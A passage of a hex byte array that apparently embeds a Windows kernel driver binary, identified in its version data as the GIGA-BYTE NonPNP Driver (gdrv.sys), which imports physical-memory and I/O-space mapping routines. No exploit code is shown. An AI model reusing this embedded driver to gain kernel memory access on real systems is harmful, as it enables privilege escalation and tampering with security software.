0x00, - 0xEC, 0x44, 0x00, 0x00, 0xD8, 0x28, 0x00, 0x00, 0x3B, 0x29, 0x00, 0x00, - 0x00, 0x46, 0x00, 0x00, 0x3C, 0x29, 0x00, 0x00, 0x7C, 0x29, 0x00, 0x00, - 0x00, 0x46, 0x00, 0x00, 0x7C, 0x29, 0x00, 0x00, 0xB1, 0x29, 0x00, 0x00, - 0xC4, 0x44, 0x00, 0x00, 0xB4, 0x29, 0x00, 0x00, 0x14, 0x2A, 0x00, 0x00, - 0x0C, 0x46, 0x00, 0x00, 0x14, 0x2A, 0x00, 0x00, 0x49, 0x2B, 0x00, 0x00, - 0x88, 0x45, 0x00, 0x00, 0x4C, 0x2B, 0x00, 0x00, 0x1A, 0x2C, 0x00, 0x00, - 0xA8, 0x45, 0x00, 0x00, 0x68, 0x2C, 0x00, 0x00, 0x0F, 0x2D, 0x00, 0x00, - 0xD4, 0x44, 0x00, 0x00, 0x64, 0x2D, 0x00, 0x00, 0x30, 0x2E, 0x00, 0x00, - 0x20, 0x46, 0x00, 0x00, 0x40, 0x2E, 0x00, 0x00, 0x5F, 0x2E, 0x00, 0x00, - 0x50, 0x46, 0x00, 0x00, 0x60, 0x2E, 0x00, 0x00, 0x87, 0x2E, 0x00, 0x00, - 0x5C, 0x46, 0x00, 0x00, 0x90, 0x2E, 0x00, 0x00, 0xAD, 0x2E, 0x00, 0x00, - 0xC8, 0x45, 0x00, 0x00, 0xB0, 0x2E, 0x00, 0x00, 0x0A, 0x2F, 0x00, 0x00, - 0x64, 0x46, 0x00, 0x00, 0x30, 0x2F, 0x00, 0x00, 0x32, 0x2F, 0x00, 0x00, - 0x88, 0x46, 0x00, 0x00, 0x50, 0x2F, 0x00, 0x00, 0x78, 0x2F, 0x00, 0x00, - 0x90, 0x46, 0x00, 0x00, 0x80, 0x2F, 0x00, 0x00, 0xC6, 0x2F, 0x00, 0x00, - 0x94, 0x46, 0x00, 0x00, 0xD0, 0x2F, 0x00, 0x00, 0xD6, 0x2F, 0x00, 0x00, - 0x98, 0x46, 0x00, 0x00, 0xE0, 0x2F, 0x00, 0x00, 0xE1, 0x2F, 0x00, 0x00, - 0x9C, 0x46, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x39, 0x33, 0x00, 0x00, - 0x70, 0x46, 0x00, 0x00, 0x40, 0x33, 0x00, 0x00, 0x3A, 0x34, 0x00, 0x00, - 0x80, 0x46, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x2A, 0x80, 0x00, 0x00, - 0x3C, 0x46, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x0D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, - 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xDA, 0x48, 0x8B, 0xF9, - 0xE8, 0x17, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xD3, 0x48, 0x8B, 0xCF, 0x48, - 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xE9, 0xFA, 0x96, - 0xFF, 0xFF, 0xCC, 0xCC, 0x48, 0x8B, 0x05, 0xD5, 0xCF, 0xFF, 0xFF, 0x45, - 0x33, 0xC9, 0x49, 0xB8, 0x32, 0xA2, 0xDF, 0x2D, 0x99, 0x2B, 0x00, 0x00, - 0x48, 0x85, 0xC0, 0x74, 0x05, 0x49, 0x3B, 0xC0, 0x75, 0x38, 0x0F, 0x31, - 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x8D, 0x0D, 0xB1, 0xCF, 0xFF, 0xFF, 0x48, - 0x0B, 0xC2, 0x48, 0x33, 0xC1, 0x48, 0x89, 0x05, 0xA4, 0xCF, 0xFF, 0xFF, - 0x66, 0x44, 0x89, 0x0D, 0xA2, 0xCF, 0xFF, 0xFF, 0x48, 0x8B, 0x05, 0x95, - 0xCF, 0xFF, 0xFF, 0x48, 0x85, 0xC0, 0x75, 0x0A, 0x49, 0x8B, 0xC0, 0x48, - 0x89, 0x05, 0x86, 0xCF, 0xFF, 0xFF, 0x48, 0xF7, 0xD0, 0x48, 0x89, 0x05, - 0x84, 0xCF, 0xFF, 0xFF, 0xC3, 0xCC, 0xCC, 0xCC, 0xE0, 0x80, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x84, 0x00, 0x00, - 0x10, 0x40, 0x00, 0x00, 0xD0, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x44, 0x84, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x2A, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xEC, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x0E, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x82, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x42, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x56, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x72, 0x82, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x86, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x9C, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAC, 0x82, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xBE, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xDC, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF6, 0x82, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x06, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xE0, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x46, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x58, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x7C, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x98, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA2, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xB2, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xC8, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xF8, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x0C, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xC8, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC2, 0x07, 0x52, 0x74, - 0x6C, 0x49, 0x6E, 0x69, 0x74, 0x55, 0x6E, 0x69, 0x63, 0x6F, 0x64, 0x65, - 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x00, 0x00, 0x57, 0x00, 0x44, 0x62, - 0x67, 0x50, 0x72, 0x69, 0x6E, 0x74, 0x00, 0x00, 0xB1, 0x03, 0x4B, 0x65, - 0x41, 0x63, 0x71, 0x75, 0x69, 0x72, 0x65, 0x49, 0x6E, 0x53, 0x74, 0x61, - 0x63, 0x6B, 0x51, 0x75, 0x65, 0x75, 0x65, 0x64, 0x53, 0x70, 0x69, 0x6E, - 0x4C, 0x6F, 0x63, 0x6B, 0x00, 0x00, 0x5F, 0x04, 0x4B, 0x65, 0x52, 0x65, - 0x6C, 0x65, 0x61, 0x73, 0x65, 0x49, 0x6E, 0x53, 0x74, 0x61, 0x63, 0x6B, - 0x51, 0x75, 0x65, 0x75, 0x65, 0x64, 0x53, 0x70, 0x69, 0x6E, 0x4C, 0x6F, - 0x63, 0x6B, 0x00, 0x00, 0x94, 0x00, 0x45, 0x78, 0x41, 0x6C, 0x6C, 0x6F, - 0x63, 0x61, 0x74, 0x65, 0x50, 0x6F, 0x6F, 0x6C, 0x00, 0x00, 0xBE, 0x00, - 0x45, 0x78, 0x46, 0x72, 0x65, 0x65, 0x50, 0x6F, 0x6F, 0x6C, 0x57, 0x69, - 0x74, 0x68, 0x54, 0x61, 0x67, 0x00, 0xE2, 0x04, 0x4D, 0x6D, 0x42, 0x75, - 0x69, 0x6C, 0x64, 0x4D, 0x64, 0x6C, 0x46, 0x6F, 0x72, 0x4E, 0x6F, 0x6E, - 0x50, 0x61, 0x67, 0x65, 0x64, 0x50, 0x6F, 0x6F, 0x6C, 0x00, 0x0D, 0x05, - 0x4D, 0x6D, 0x4D, 0x61, 0x70, 0x4C, 0x6F, 0x63, 0x6B, 0x65, 0x64, 0x50, - 0x61, 0x67, 0x65, 0x73, 0x00, 0x00, 0x34, 0x05, 0x4D, 0x6D, 0x55, 0x6E, - 0x6D, 0x61, 0x70, 0x4C, 0x6F, 0x63, 0x6B, 0x65, 0x64, 0x50, 0x61, 0x67, - 0x65, 0x73, 0x00, 0x00, 0x0B, 0x05, 0x4D, 0x6D, 0x4D, 0x61, 0x70, 0x49, - 0x6F, 0x53, 0x70, 0x61, 0x63, 0x65, 0x00, 0x00, 0x33, 0x05, 0x4D, 0x6D, - 0x55, 0x6E, 0x6D, 0x61, 0x70, 0x49, 0x6F, 0x53, 0x70, 0x61, 0x63, 0x65, - 0x00, 0x00, 0xD5, 0x04, 0x4D, 0x6D, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, - 0x74, 0x65, 0x43, 0x6F, 0x6E, 0x74, 0x69, 0x67, 0x75, 0x6F, 0x75, 0x73, - 0x4D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x00, 0x00, 0xEF, 0x04, 0x4D, 0x6D, - 0x46, 0x72, 0x65, 0x65, 0x43, 0x6F, 0x6E, 0x74, 0x69, 0x67, 0x75, 0x6F, - 0x75, 0x73, 0x4D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x00, 0x00, 0x65, 0x02, - 0x49, 0x6F, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x65, 0x4D, 0x64, - 0x6C, 0x00, 0x9B, 0x03, 0x49, 0x6F, 0x66, 0x43, 0x6F, 0x6D, 0x70, 0x6C, - 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x00, 0x00, - 0x8B, 0x02, 0x49, 0x6F, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x65, - 0x76, 0x69, 0x63, 0x65, 0x00, 0x00, 0x96, 0x02, 0x49, 0x6F, 0x43, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6D, 0x62, 0x6F, 0x6C, 0x69, 0x63, - 0x4C, 0x69, 0x6E, 0x6B, 0x00, 0x00, 0xA2, 0x02, 0x49, 0x6F, 0x44, 0x65, - 0x6C, 0x65, 0x74, 0x65, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x00, 0x00, - 0xA4, 0x02, 0x49, 0x6F, 0x44, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x53, 0x79, - 0x6D, 0x62, 0x6F, 0x6C, 0x69, 0x63, 0x4C, 0x69, 0x6E, 0x6B, 0x00, 0x00, - 0xB7, 0x02, 0x49, 0x6F, 0x46, 0x72, 0x65, 0x65, 0x4D, 0x64, 0x6C, 0x00, - 0xC8, 0x05, 0x4F, 0x62, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6E, 0x63, - 0x65, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x42, 0x79, 0x48, 0x61, 0x6E, - 0x64, 0x6C, 0x65, 0x00, 0x8E, 0x09, 0x5A, 0x77, 0x43, 0x6C, 0x6F, 0x73, - 0x65, 0x00, 0xE4, 0x09, 0x5A, 0x77, 0x4F, 0x70, 0x65, 0x6E, 0x53, 0x65, - 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x00, 0xCF, 0x09, 0x5A, 0x77, 0x4D, 0x61, - 0x70, 0x56, 0x69, 0x65, 0x77, 0x4F, 0x66, 0x53, 0x65, 0x63, 0x74, 0x69, - 0x6F, 0x6E, 0x00, 0x00, 0x5D, 0x0A, 0x5A, 0x77, 0x55, 0x6E, 0x6D, 0x61, - 0x70, 0x56, 0x69, 0x65, 0x77, 0x4F, 0x66, 0x53, 0x65, 0x63, 0x74, 0x69, - 0x6F, 0x6E, 0x00, 0x00, 0xF7, 0x04, 0x4D, 0x6D, 0x47, 0x65, 0x74, 0x50, - 0x68, 0x79, 0x73, 0x69, 0x63, 0x61, 0x6C, 0x41, 0x64, 0x64, 0x72, 0x65, - 0x73, 0x73, 0x00, 0x00, 0xFE, 0x04, 0x4D, 0x6D, 0x49, 0x73, 0x41, 0x64, - 0x64, 0x72, 0x65, 0x73, 0x73, 0x56, 0x61, 0x6C, 0x69, 0x64, 0x00, 0x00, - 0xC9, 0x03, 0x4B, 0x65, 0x42, 0x75, 0x67, 0x43, 0x68, 0x65, 0x63, 0x6B, - 0x45, 0x78, 0x00, 0x00, 0x6E, 0x74, 0x6F, 0x73, 0x6B, 0x72, 0x6E, 0x6C, - 0x2E, 0x65, 0x78, 0x65, 0x00, 0x00, 0x48, 0x00, 0x48, 0x61, 0x6C, 0x54, - 0x72, 0x61, 0x6E, 0x73, 0x6C, 0x61, 0x74, 0x65, 0x42, 0x75, 0x73, 0x41, - 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x00, 0x00, 0x48, 0x41, 0x4C, 0x2E, - 0x64, 0x6C, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, - 0x10, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, - 0x04, 0x04, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x60, 0x90, 0x00, 0x00, - 0xE8, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE8, 0x02, 0x34, 0x00, - 0x00, 0x00, 0x56, 0x00, 0x53, 0x00, 0x5F, 0x00, 0x56, 0x00, 0x45, 0x00, - 0x52, 0x00, 0x53, 0x00, 0x49, 0x00, 0x4F, 0x00, 0x4E, 0x00, 0x5F, 0x00, - 0x49, 0x00, 0x4E, 0x00, 0x46, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xBD, 0x04, 0xEF, 0xFE, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x3F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x04, 0x00, - 0x03, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x46, 0x02, 0x00, 0x00, 0x01, 0x00, 0x53, 0x00, - 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x46, 0x00, - 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x66, 0x00, - 0x6F, 0x00, 0x00, 0x00, 0x22, 0x02, 0x00, 0x00, 0x01, 0x00, 0x30, 0x00, - 0x34, 0x00, 0x30, 0x00, 0x34, 0x00, 0x30, 0x00, 0x34, 0x00, 0x62, 0x00, - 0x30, 0x00, 0x00, 0x00, 0x5E, 0x00, 0x1F, 0x00, 0x01, 0x00, 0x43, 0x00, - 0x6F, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x79, 0x00, - 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x47, 0x00, 0x49, 0x00, 0x47, 0x00, 0x41, 0x00, 0x2D, 0x00, 0x42, 0x00, - 0x59, 0x00, 0x54, 0x00, 0x45, 0x00, 0x20, 0x00, 0x54, 0x00, 0x45, 0x00, - 0x43, 0x00, 0x48, 0x00, 0x4E, 0x00, 0x4F, 0x00, 0x4C, 0x00, 0x4F, 0x00, - 0x47, 0x00, 0x59, 0x00, 0x20, 0x00, 0x43, 0x00, 0x4F, 0x00, 0x2E, 0x00, - 0x2C, 0x00, 0x20, 0x00, 0x4C, 0x00, 0x54, 0x00, 0x44, 0x00, 0x2E, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x58, 0x00, 0x18, 0x00, 0x01, 0x00, 0x46, 0x00, - 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x44, 0x00, 0x65, 0x00, 0x73, 0x00, - 0x63, 0x00, 0x72, 0x00, 0x69, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, - 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x00, 0x49, 0x00, - 0x47, 0x00, 0x41, 0x00, 0x2D, 0x00, 0x42, 0x00, 0x59, 0x00, 0x54, 0x00, - 0x45, 0x00, 0x20, 0x00, 0x4E, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x50, 0x00, - 0x4E, 0x00, 0x50, 0x00, 0x20, 0x00, 0x44, 0x00, 0x72, 0x00, 0x69, 0x00, - 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x00, 0x30, 0x00, 0x08, 0x00, - 0x01, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x56, 0x00, - 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x31, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, - 0x30, 0x00, 0x2E, 0x00, 0x31, 0x00, 0x00, 0x00, 0x32, 0x00, 0x09, 0x00, - 0x01, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x65, 0x00, 0x72, 0x00, - 0x6E, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, - 0x65, 0x00, 0x00, 0x00, 0x67, 0x00, 0x64, 0x00, 0x72, 0x00, 0x76, 0x00, - 0x2E, 0x00, 0x73, 0x00, 0x79, 0x00, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x4A, 0x00, 0x13, 0x00, 0x01, 0x00, 0x4C, 0x00, 0x65, 0x00, 0x67, 0x00, - 0x61, 0x00, 0x6C, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x79, 0x00, - 0x72, 0x00, 0x69, 